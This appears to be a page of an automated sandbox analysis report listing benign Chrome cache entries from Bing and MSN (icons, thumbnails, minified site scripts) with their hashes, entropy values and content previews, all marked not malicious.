..MK.qe....5.......~!.....\.&\|....!5...`9.)F.R;.fY.%.&.={..R.A.....>.y....E.Q._....<.\|_...J.....z&_

Chrome Cache Entry: 742

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	671
Entropy (8bit):	5.014579690661168
Encrypted:	false
SSDEEP:	12:tbH4/KYf3UnlcWYl7qy/gk63xsV8tGXcqecDDWUV8jEPsycd23Wt+MKsAnueOc+d:t74LfEnTYpq+gTxs6GUUQEPssmYsAnuH
MD5:	D9ED1A42342F37695571419070F8E818
SHA1:	7DD559538B6D6F0F0D0D19BA1F7239056DFFBC2A
SHA-256:	0C1E2169110DD2B16F43A9BC2621B78CC55423D769B0716EDAA24F95E8C2E9FE
SHA-512:	67F0BC641D78D5C12671FDD418D541F70517C3CA72C7B4682E7CAC80ABE6730A60D7C3C9778095AAB02C1BA43C8DD4038F48A1A17DA6A5E6C5189B30CA19A115
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">..<path fill="#919191" d="M15.707,0.293c-0.391-0.391-1.024-0.391-1.415,0L7.994,6.591L1.696,0.293C1.298-0.091,0.665-0.08,0.281,0.318...c-0.375,0.388-0.375,1.003,0,1.391l6.298,6.298l-6.298,6.298c-0.384,0.398-0.373,1.031,0.025,1.415c0.388,0.375,1.003,0.375,1.391,0...l6.298-6.298l6.298,6.298c0.398,0.384,1.031,0.373,1.415-0.025c0.375-0.388,0.375-1.003,0-1.39L9.409,8.006l6.298-6.298...C16.098,1.317,16.098,0.684,15.707,0.293z"/>..<path fill="none" d="M0,0h16v16H0V0z"/>..</svg>..

Chrome Cache Entry: 743

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1041
Entropy (8bit):	4.2484633897908495
Encrypted:	false
SSDEEP:	24:tnq3ripj6Gnhrf9MiYjaM/Wxv1qUJHGjrIO3KAFz:VEipjbZf3YjGr4N3x
MD5:	407303FF19FBE8081F2BEAC9CF1AD7B9
SHA1:	CCFDFD943C6DAD51EA5E9804F15A3E3EBC8BA642
SHA-256:	2DF3CB601B3DE31BFC06AA7626183B7BF7F3624025BDA11C766D4CF0335B89B1
SHA-512:	BB2C515E75E0334D66BFC7765CED6654A074309A38B353DD8142D4D34C9D2F43DDD3C7D4336A65F3208D7BA38353C05793BBE0AE67EEC1803532F6D744B3E04A
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/zP39lDxtrVHqXpgE8Vo-PryLpkI.svg
Preview:	<svg enable-background="new 0 0 40 40" viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg"><path d="m20 0c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20zm13.082 33.082c-3.351 3.349-7.971 5.418-13.082 5.418s-9.731-2.069-13.081-5.418c-3.349-3.351-5.419-7.971-5.419-13.082s2.07-9.731 5.419-13.081c3.35-3.349 7.97-5.419 13.081-5.419s9.731 2.07 13.082 5.419c3.349 3.35 5.418 7.97 5.418 13.081s-2.069 9.731-5.418 13.082zm-13.082-13.078c2.761 0 5-2.239 5-5s-2.239-5-5-5-5 2.239-5 5 2.239 5 5 5zm0-8.5c1.933 0 3.5 1.567 3.5 3.5s-1.567 3.5-3.5 3.5-3.5-1.567-3.5-3.5 1.567-3.5 3.5-3.5zm5.754 10.496h-11.501c-1.242 0-2.249 1.007-2.249 2.249v.578c0 .893.318 1.756.898 2.435 1.566 1.834 3.952 2.739 7.098 2.739 3.145 0 5.533-.905 7.102-2.738.581-.679.901-1.544.901-2.439v-.575c0-1.243-1.007-2.249-2.249-2.249zm.749 2.824c0 .536-.192 1.056-.541 1.463-1.257 1.468-3.224 2.214-5.962 2.214s-4.704-.746-5.958-2.213c-.348-.407-.539-.926-.539-1.461v-.578c0-.414.335-.749.749-.749h11.502c.414 0

Chrome Cache Entry: 744

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1240
Entropy (8bit):	4.696555314984949
Encrypted:	false
SSDEEP:	12:6v/7/JxwTBjVaqbvkqFvgBV6ilS8DBMSfrVAd1yACHuMy8s:4JGl1b8qFvgBoivTVAyAM
MD5:	87A9C15B6574AAFB2D82C36329355FE0
SHA1:	78B72F92FC453BD5237996AE455CCF5F3E0F30CC
SHA-256:	F9D8BD135C9B46CE8C30B30720E7B6A86BABF2005CC71388A68AB571224530EC
SHA-512:	3369BDC076917C0BF4578B5C9FFC92BF24F7B8A8832FC8A1AF6989ADE72E27B3F99583BEFACFABE9799AAC2BBA94E172B5960A3094AF8CC48AD1A3E7569D9E4E
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyxkRJ.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...?H.Q...R&..9..EW.....!-.."......m"..........$H......(>m. ~....s.....;p.....s.=.^.z...@...#.x....S.......@....7.M.R....j...d..v..l...."......P.Tl.z=.....`0.F....>(...\..X,..v....d2!......z..'''(.J0...h.Z[...)G..d.x}}....#.. ..........a&.A0......P...`..9....<.......::........ppp.............0..@.&.N.lK.R<>>b4.A"....$T+...!...N'G..Ty...;..4...P(..Q.P.^.V.S..V...n.GGGlS...!(.I..g=..1.L.^,......h...E.\....j...9.....www\..G...\|\dn#..Z...A..."Q.j....b..X,.....k..Eg...<I...$t......*^^^..F?.I....J....Y\]]a>......!......$.........~.L,...L..Y{c....IEND.B`.............................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 745

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8370), with no line terminators
Category:	downloaded
Size (bytes):	8370
Entropy (8bit):	5.294190759877552
Encrypted:	false
SSDEEP:	192:65Gj4ar/bZpC5Icn2IUp5jN2Rw20YL/JxaquRG/2RdIRVVR00UcTyHX9LF:rFGTyIG20YL/HaFRGOI5UcTyHf
MD5:	4517A64EBB1503C4FB56EA2B8F484013
SHA1:	E33CD4DD0876AC17F27B1048187D55548113DF2E
SHA-256:	92637EF6CF687AED07044B4B55DD2A7028AC33E2DE7A30CE415B39D55AE7E588
SHA-512:	6E73379329F4660BAFF5DF8A89F56DBA263911EEF520479CE5ED1EC3CE0E8A4EA3929A5DF56D67BB07B94E7A85D054A8607F8890029E5550E807A386C9E5A919
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/msnews/publishers-service-client.bd0469721de4067eb3cf.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["msnews/publishers-service-client"],{55128:function(e,t,i){var s;i.d(t,{S:function(){return s},PublisherServiceClient:function(){return S}}),function(e){e.More="More",e.Mute="Mute",e.Read="Read"}(s\|\|(s={}));var n=i(33940),r=i(56692),o=i(45506),d=i(76754),u=i(63535),a=i(5696),l=i(61442),c=i(17157),h=i(59207),v=i(11380),p=i(81866),y=i(51125),m=i(12108),f=i(33799),g=i(51671);class S{constructor(e,t=!0){this.fetchImpl=e,this.addPageInfoToOcid=t,this.followedPublishersEndpoint="v1/News/Users/Me/PreferredProviders",this.followedSourcesEndpoint="msn/sources",this.publishersServiceEndpoint="Msn/Providers",this.actionsServiceEndpoint="Graph/Actions",this.followActionSourceEndpoint="community/follows",this.ocid="feeds"}getOcid(){return this.ocid}getUserMutedPublishers(){return(0,n.mG)(this,void 0,void 0,(function*(){const e=yield this.getUserActions(s.Mute);if(!e\|\|!e.value)return nul

Chrome Cache Entry: 746

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	31512
Entropy (8bit):	5.678669067994438
Encrypted:	false
SSDEEP:	768:rUFw5Xmdfg58CMsk66xBo5EUWC5MJ4YkztsVUOJEvU04sDYwe/BfTRkJ5rr9:rUekd4uxS6UWC5MJ4Ykzts+WUNfU5pS
MD5:	CBC4BBC78359F9FCB744B903940E8E5C
SHA1:	C96740150E20653EB95744A136115A55486B75A8
SHA-256:	9BDF7208534B83596A750D2AD8F102260301F1652FB9F6479804A4D923C3031B
SHA-512:	848BF36BC9DC4CCF54D29828F302044CE252EE2A79921E31413E0C5C97C4D557A5ACF6A16ACB10432D203F163017CD9A70195C2485F25BE47AA0C8A5F69E59D6
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/hp/api/model
Preview:	{"Scripts":[{"Path":"https://r.bing.com/rp/pF2PfMNHZl6kUOVLn4XEGHZP_z0.js","Postloaded":true},{"Path":"https://r.bing.com/rp/yfhemBfy2-1hsn-Pzs7ZcFHIdVM.js","Postloaded":true}],"Styles":[{"Path":"https://r.bing.com/rp/qz_XABEk9uinJqFMD6b6yPjYYTU.css","Postloaded":false},{"Path":"https://r.bing.com/rp/RwGC9aq3HWFHA4-nvqf37VWlckM.css","Postloaded":false},{"Path":"https://r.bing.com/rp/6wDd80TfrjsxqxnEl7ODpSWRxdY.css","Postloaded":true},{"Path":"https://r.bing.com/rp/d_DmhogwQOWjbEX-g0oLpQVcA5w.css","Postloaded":true}],"CustomFields":{"VideoYuleLog":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/YuleLog/1080/Fireplace_GettyRR_98571085_1080.mp4","VideoAurora":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/Aurora/1080/1920_FinlandAurora_SS_13482083.mp4","AudioYuleLogMp3":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/YuleLog/audio/CozyFirepace_Getty_553682.mp3","ImageToShare":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2020/h

Chrome Cache Entry: 747

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	5125
Entropy (8bit):	7.920185213246574
Encrypted:	false
SSDEEP:	96:8zgEmDqVpTtrJz4BgFVHuMho/fGQDBYF10bMaJFsBd5tWgt1b:yg7Dqvf4BgbHuMGf+1isr5tb1b
MD5:	94E93256E82CF1BF7F7F3F75CB330B17
SHA1:	E2A7B8EA4B1CB157FFEEFFFC6F128A8F71DED395
SHA-256:	FD75FEADAFDFB41457754E037C26B5AC8F8A141501AC885FF9DFC8185B2A8F14
SHA-512:	A2B1B1ECC3EACA67678C2B08B8D506672C50740EFC0E221D62E0557E131EA42ED6B6BEF331EE771E2FCAD46C4AB16E6946104324C22DFD1743006A31B8287F41
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_m7hOW9tCEo-hY3Oick5J2g&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..p).T.7p...X.{...y=K..l..{...Lnl...<.W...;YnI.1N.F......................4........=.H'f.T.%u...qF+...x.......v.....Q~f....^s/.^.Q......`...h....Q...\..=.4.k.\|#..z...4.....I.'.)...zz2.....A...M14..J.L".#.a........o......e\|.HK..c...A.N:{...?..j......}3g.\.Q.\|..Rn..$.<._....n#.w1i..y[.1.....l.L.....x.7......T. q..^..\|3..M.5......`?.....46q...`.8S.#.^&

Chrome Cache Entry: 748

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1274), with no line terminators
Category:	downloaded
Size (bytes):	1274
Entropy (8bit):	5.30620342636407
Encrypted:	false
SSDEEP:	24:+Fq4YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzWPn8X0kdo6QBUf4JPwk:+FGF6UYXEBi9k5P8OPUY
MD5:	A969230A51DBA5AB5ADF5877BCC28CFA
SHA1:	7C4CDC6B86CA3B8A51BA585594EA1AB7B78B8265
SHA-256:	8E572950CBDA0558F7B9563CE4F5017E06BC9C262CF487E33927A948F8D78F7F
SHA-512:	F45B08818A54C5FD54712C28EB2AC3417EEA971C653049108E8809D078F6DD0560C873CEB09C8816ECD08112A007C13D850E2791F62C01D68518B3C3D0ACCCEB
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/fEzca4bKO4pRulhVlOoat7eLgmU.js
Preview:	var Identity=Identity\|\|{};(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var s=u("id_h"),o=u("id_l"),h="click";t.bind("o

Chrome Cache Entry: 749

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	6602
Entropy (8bit):	7.94064342551898
Encrypted:	false
SSDEEP:	192:ygwBDqHxDzbqllo8AXbpYEm2PcTdHdSiyKllYBVrc:ygwBDyXbqlTybFu9yaKBu
MD5:	2EC5FDE3796806B70652B8CF1A6CD9B4
SHA1:	A994F484136E6582D4D3F5E98FC45A87C7D1FA00
SHA-256:	544A2240A7DA1E493494687EF632B25ECAF0953190F69CA85180486F6D623175
SHA-512:	51C9A44A72DF57CC270D9ECCAF7B2474B4B8ADF70B0EF4BCE0F7B984B7CEC3AEC27DC874BF2AAAF5E06CC749F50139CB0E4BF2CAB2ADB0CFAA401E69CA95A585
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_qfhqzK72Ua1IIcPjjPZ21Q&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...WCo.....kpn._-.W$.....3m.Z6..5.1..ts:.P.J....=Os.u3...we...D.a.L\YD.f.0.s6.N...Dm...q....8....M^ig..}+Kv.......O..>.@..I .S.+...Z.IM].Z.kQ..4.b..H......c....Gd"3F.....l.....}u.[Cwl.'.v..9...G.P.!...I..v..rX..Zm......5mr.V..I.X.8.,0..~...M...ue ug..bV...I..M............n\.n.....Sq..[9?.c)_C..]..M..aH....^I<Q<..hc.`.p.b_..g.K.)d..H..l!'.....I...../.(

Chrome Cache Entry: 750

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2737
Entropy (8bit):	5.143739593947487
Encrypted:	false
SSDEEP:	48:TSEFkrgXL4vxyL9oG5e/LGlCbux1ZkCLtgQQ/TY740a3HOzw3B+THvRkqBHtoUqM:mrTeRkaAburmvlSxINwTqeW1MN
MD5:	8F824B93502AA4AA1CF9F8A77E6B7F10
SHA1:	7EE42795FD98366080A6D79A134F18CA84DDB064
SHA-256:	6CFE41748D6981393CFDB649AB1048EE0F08C1F2BAFAF7E5BECA030DD77EBC56
SHA-512:	CBB60A1DB15705AAB7BA4AC64F7AE960BD30317E301204C65A7ED0C5C7C10333120523D5E101A9874E8858FCCC7C5981AB996AB57708FDA09D578E8CFCCA77F1
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/temprise1.svg
Preview:	<svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">.<g filter="url(#filter0_f_2673_133239)">.<path d="M35.7195 13.5491C35.7195 7.72157 30.9337 2.9989 25.0317 2.9989C19.1296 2.9989 14.3439 7.72157 14.3439 13.5491V41.2798C11.0857 44.1804 9 48.3335 9 53.0008C9 61.7448 16.1813 68.8275 25.0317 68.8275C33.8848 68.8275 41.0634 61.7448 41.0634 53.0008C41.0634 48.3335 38.9776 44.1804 35.7195 41.2798V13.5491Z" fill="url(#paint0_linear_2673_133239)" fill-opacity="0.2"/>.</g>.<path d="M36.6355 13.5766C36.6355 7.73387 31.8498 2.9989 25.9477 2.9989C20.0456 2.9989 15.2599 7.73387 15.2599 13.5766V41.3795C12.0018 44.2877 9.91602 48.4516 9.91602 53.131C9.91602 61.8977 17.0973 68.9989 25.9477 68.9989C34.8008 68.9989 41.9794 61.8977 41.9794 53.131C41.9794 48.4516 39.8936 44.2877 36.6355 41.3795V13.5766Z" fill="url(#paint1_linear_2673_133239)"/>.<rect x="21.9398" y="9.99887" width="8.01584" height="27" rx="4.00792" fill="black" fill-opacity="0.2"/>.<path fill-rul

Chrome Cache Entry: 751

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.781091704776374
Encrypted:	false
SSDEEP:	3:qMH4WXMHwmnIB4JmhyfAIB4Jmml0X2IUJIB4JrNOsK1A4JWW7jKYHVA4JRGYdA4S:q6XzD4jr43ldI74FNQlNj7jM9TlMlbSr
MD5:	51A9EA95D5ED461ED98AC3D23A66AA15
SHA1:	62FBB857B873BD79BEE7F16D0766A452FA2798A3
SHA-256:	A5B4181611E951FAECD6C164D704569C633E95FE68D3D1934B911A089EBF70E8
SHA-512:	CEE4231894F82627E50EC746D7C150E5303A1BF8864D7B084173B9D17663A27CC2915F5D0D4DC0602FE26D9EAA10DD98CF3422E7601F520EF34D45C9A506D6F7
Malicious:	false
Reputation:	unknown
Preview:	var BM=BM\|\|{};BM.rules={"#sc_hdu":[-1,-1,1],"#hp_id_hdr":[-1,-1,1],"#hp_container":[-1,-1,1],".hp_sw_logo":[-1,-1,0],".b_searchboxForm":[-1,-1,0],"#crs_pane":[-1,-1,0],"#sb_foot":[-1,-1,0],"#sh_rdiv":[-1,-1,0],"img,div[data-src]":[-1,-1,0],iframe:[-1,-1,0]}

Chrome Cache Entry: 752

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	4.76866515748201
Encrypted:	false
SSDEEP:	12:6v/7ZA0RnsK88Dl3r5JCyJ3/M+yEoi1iwQfk/zOkKJFwmvAGaMIDgA3e66u/:sRsKtpr5JFJPMy3n/WrwxGazDgA3H
MD5:	BC2CA4C02D8330860D34A943488A7A45
SHA1:	EEB8859DE80E94571F7E906BDFAAFA9C98E493B7
SHA-256:	5CD4E73D22042B54B0648341D22DCE5E089F6ADAAD76FE70083CD545D36CD9C4
SHA-512:	335D1C0EEDC3235770F81CF37EF36649474B9A23E4D924EDD681A6BD8674A3A89E48B77AA788ED3ABEB6881884832D9F066B76486609CDE303EE3D61F7FA6FEC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....?IDATx..SMK.Q.~4.......Z..B.i..@.....q.O. ...~..B..V...>tSY..@C.E0(.U!.w.x_.....9sf.y.9.....o.s.........F..Z....+.L&,..b}}.[[[.S..]..`0.`{{....L....t:\..ex<........D....p.....7.d.YT......i...".L"......d...(kkk....coo.....%xxx.^.G".@8.F..'.....<o0..@...L.........{~~..)...Uptt.@&..,J.Au.J%..,k......r.......f......u:....>??...D...YM&.:EI...f.\..h...%vvvH...H I...x\|\|....cV.....A(....lb<..v8..I...P............6+......1Q..!.......V.%.r9^..O.`IV.,..oE#.C...v..n.K.y@.j./.........\i..V.....kD.Q6M.'}..FZ....qrr...U.U..'.\|>...X,.3..\|...%D"..R)...h`..g.#.^y.2.C...%.."j.}....IEND.B`............................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 753

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 414 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2144
Entropy (8bit):	7.603445614854898
Encrypted:	false
SSDEEP:	48:Wt2dMFbpombbd4x5k01228Qzim0XOgJbxQuvyCoQjm:Ldc1omvd4x5k0V8uH0+gZxQ8yCocm
MD5:	67E0BE8B32F82EBAA6F07A2383C25F13
SHA1:	D5B4BAE8B70AC9D6E3C3AC673546957CCB719618
SHA-256:	4CC6C20061A8027BF45B02982830F5760BC6F65D0A0DE75094BC90245C287548
SHA-512:	54C558D486C71882E11B11DE566738949E97BEF3EC12050213FEE48BE033E981C32B7C64F2057D74D232FEB778A959C52781759BF48938F4F6B4BD0E88F68ACC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR....... .........../PLTE..............................................................................................................................fff.....................................................................................................................................................................................ctRNS.0.@..`.... ...Pp...U......}J%.._..3.........IWo..K..H..,.......mCA.\|..`......]............e.#?....}IDATx^.ws.8...&D.`......\..\z..\........#i.%.......WD.0..a.X@....3.c..vH....P.t..-.n..$..$4.%lJ>.EIM.....<..o.I..(.k\DsQaFE....Q.....66.0#..7.@..I3...R_..;......@=1......[;...r...1..I.Z(..(.0p....&Q..00.h-...t.......\|%..\".:.e0....K...`c.{o.X.... I..e..y@N.........B.6.J....&...P#.:...m...g.+.....>........<6G.`.;.$..$.6.!..__@..1.1...1G]..'.G.G..!..%<D.{...`....m.c+z......AE>.5.5..D."..(.;..1.[....,Z.<......c_.5..>...NS.\|......l8.Z..c!=l..g......a'...W#....w......W..s.\|y....&&*.. p.........K.rD.8.%p-I.[.v.Cg.G.g..

Chrome Cache Entry: 754

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8484), with no line terminators
Category:	downloaded
Size (bytes):	8484
Entropy (8bit):	5.338819503207566
Encrypted:	false
SSDEEP:	192:VViW1/Mi54qAXOQz7dPtm+Icrd+1J4Ecs:VViW1/MRNFcMd56
MD5:	768C025CADC4CBD980733F771FEBA772
SHA1:	376949EE88FCFABCCD50A1976BD1E6AC20EB0DDC
SHA-256:	BD014843A7D652B50956A5FAAA927F66F810C8D2086B53A487FE9B45BCDCA1B1
SHA-512:	5E78D3C6B1A2324459C4A8A9694FA0A267BBBE445B97A1AD73CE32B6673EBC735613307C0563115114662237A258F8FBFDEAFF9998F12BF4795FA8AA4FC82998
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/N2lJ7oj8-rzNUKGXa9HmrCDrDdw.js
Preview:	var bepns=bepns\|\|function(n,t){function gt(){var n=this;sj_be(_w,"message",fi,!1);ni();sj_be(e,"click",y,!1);sj_evt.bind("AutoOpenFlyout",function(){w=!0;a\|\|!a&&hi()>=1200?c(r,"b_hide")?ft(n.evt,!1):v=bt:v=kt;v&&LightLogger&&LightLogger.logInstrumentationV2(null,LightLogger.InstrumentationEventType.Init,wt,!0,{SuppressionReason:v})},!0);sj_evt.bind("AutoOpenFlyoutHide",function(){i&&o(null,!0,!1)},!0);sj_evt.bind(d,ui);sj_evt.bind("onP1",ri,1);sj_evt.bind("id:refreshed",ti,1);window.addEventListener("click",function(){s(f,"b_hide")});si()&&y(null)}var st="redDotControl",ht="rh_meter_leaf_homepage",ct="rh_meter_leaf",lt="givemuid_heart_homepage",at="GiveMuid",vt="GiveSerp",yt="hub_apps_698b01b4-557a-4a3b-9af7-a7e8138e8372",pt="SUCCESS",wt="AutoOpenFlyoutSuppression",bt="BepFlyoutMissingOrNotHidden",kt="InvalidPageWidth",dt=["bing.com","bing.com:443","bing-exp.com","bing-int.com","localhost","binginternal.com"],p=700,k=320,d="onPopTR",g="bepfo",w=!1,f,u,h,r,i,e=n("id_rh"),a=typeof _H!="u

Chrome Cache Entry: 755

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	7.967445633426257
Encrypted:	false
SSDEEP:	384:e1hf75wMBpX/Rp7PWwFU5YBnBC129UDQpwys7MgM+v6a7inJJ8sowc:e3z5VpXpZ/U8BCgoQwXvjUJ8nwc
MD5:	508E8220AFAA5E75C6B4AF3926697CBF
SHA1:	A4449080D17596898B59331CBB032095850FE69A
SHA-256:	5037F7AF0741E73B2FA523B741A2BC2BE187C8D9E2BD9AD0A94143D1CCCAA3CB
SHA-512:	4F5596F84A88D2637068E41BA51281445BBE0D0505E87CCF63ED5BE6A46C6A2D3A8E9C0CA358B5BD095EE4BD5A8F25210F5AC9324D4C4A1808E527545A261367
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...m..i.g.}..V.xX`.*h.:b...8..C.rG.J..r?J..qNh.~T/.O.H.f........-WN...T.g..46l....0.A,H `z.H.....ViB...@..,G...L..x...4...f;....B^^.V...`...s.D...s...0ylb.I=LO...n....... A,.....cs......T....V...~..[Z.5..@.!IC.b2..:..."d9.GQ.^..!.I.k.v...c..../ .....W!.S.w....;.h...E..?..dz..N.0.....9.].{V...kz....w..m.ke.lgc.Ua.....y9.\.\|A.x[...h.B..KG2.....r/.!.>.9R.

Chrome Cache Entry: 756

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	512
Entropy (8bit):	4.769846064020748
Encrypted:	false
SSDEEP:	6:6v/lhPahmtru/sucE9sSwYO8bzPFNaUmujt+yQJld:6v/7/dDYpRNa8Q
MD5:	88FDEBA867664DABC5C40ADAA9640B30
SHA1:	1BFCCA5AD54333779920CB675D9A814750EF26DF
SHA-256:	306A38F1F6BA51824D11C22B183A2D21120B66B50D3E2DFA60A2181A75DCAF09
SHA-512:	C4498290FB3811CC2122393B5D1E059991EDCD1BB76A40E07CFB69FDB07F5B0FC51C300F23B577857397F5EEF72E6CF0E2E76B08CF9EBD55BEC9A981685B8707
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA18UlKH.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.cY........+....ZY.X)5.R...2R...6.]@...@,..cx..!C@h2.........vn]. $".......M...7.1....AAI....s.:z...U}.X........^...6.f...7...../.?b`ee..}a`bb`...e.....\|....._.\|`......K...2#....!a.p6....g...n.FF..P@R:`......H.."..C......=k...~....IEND.B`.................................................................................................................................................................................................................

Chrome Cache Entry: 757

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6111), with no line terminators
Category:	downloaded
Size (bytes):	6111
Entropy (8bit):	5.4559475301936695
Encrypted:	false
SSDEEP:	96:TPNM3pWfaPzYdv/vsuZl8vweS7Advxa6NkIGvx02aZULGePYr+JuPcrMYrAA4N:ZM3pWC7YnB87S7AdJDkI602aZULGeYN
MD5:	F8C6D0A85334BD6DA4BC9B7F185F0755
SHA1:	DB600D69F470D17949F69E57468DFC429224BF28
SHA-256:	842532A1E1D67CA1EFDB72B123BFCE418DD286E2FEC749CBB1373E688378734C
SHA-512:	C0F3DB9557835C7B522818D18E9AE6C5538A5BD39959A5D97748C538913707AB63C0DB37389200AF17DDD3FF68A9259644736AA9F60520187746C3C6548986AB
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/22ANafRw0XlJ9p5XRo38QpIkvyg.js
